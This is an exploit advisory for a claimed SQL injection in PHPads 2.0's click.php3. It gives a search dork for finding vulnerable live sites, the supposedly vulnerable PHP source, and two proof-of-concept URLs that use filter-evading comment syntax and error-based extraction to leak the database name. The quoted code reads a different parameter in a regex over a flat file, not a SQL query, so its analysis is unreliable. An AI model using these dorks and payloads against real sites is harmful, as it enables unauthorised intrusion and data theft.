[+] Sql Injection on PHPads Version 2.0 based on Pixelledads 1.0 by Nile Flores [+] Date: 05/05/2019 [+] Risk: High [+] CWE Number : CWE-89 [+] Author: Felipe Andrian Peixoto [+] Vendor Homepage: https://blondish.net/ [+] Software Demo : https://github.com/blondishnet/PHPads/blob/master/readme.txt [+] Contact: felipe_andrian@hotmail.com [+] Tested on: Windows 7 and Gnu/Linux [+] Dork: inurl:"click.php3?bannerID="" // use your brain ;) [+] Exploit : http://host/patch//click.php3?bannerID= [SQL Injection] [+] Vulnerable File : <?php $bannerAdsPath = './ads.dat'; require './ads.inc.php'; /////////////////////////////////////// // Don't Edit Anything Below This Line! /////////////////////////////////////// for ($i = 0; $i < count($ads); $i++) { if(ereg('^' .$_GET['id']. '\|\|', $ads[$i])) { $data = explode('||', $ads[$i]); if ($_SERVER['REMOTE_ADDR'] != $bannerAds['blockip']) { $data[ PHPADS_ADELEMENT_CLICKTHRUS ]++; } $ads[$i] = join('||', $data); break; } } if (!$data[PHPADS_ADELEMENT_LINK_URI]) { die(); } writeads(); Header("Location: ". $data[PHPADS_ADELEMENT_LINK_URI]); exit; ?> [+] PoC : http://server/phpads/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+- http:/server/phpAds/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+- [+] EOF